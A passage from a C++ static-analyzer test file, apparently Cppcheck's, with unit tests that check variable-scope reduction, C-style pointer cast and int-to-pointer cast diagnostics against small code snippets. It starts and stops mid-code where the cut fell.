const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() 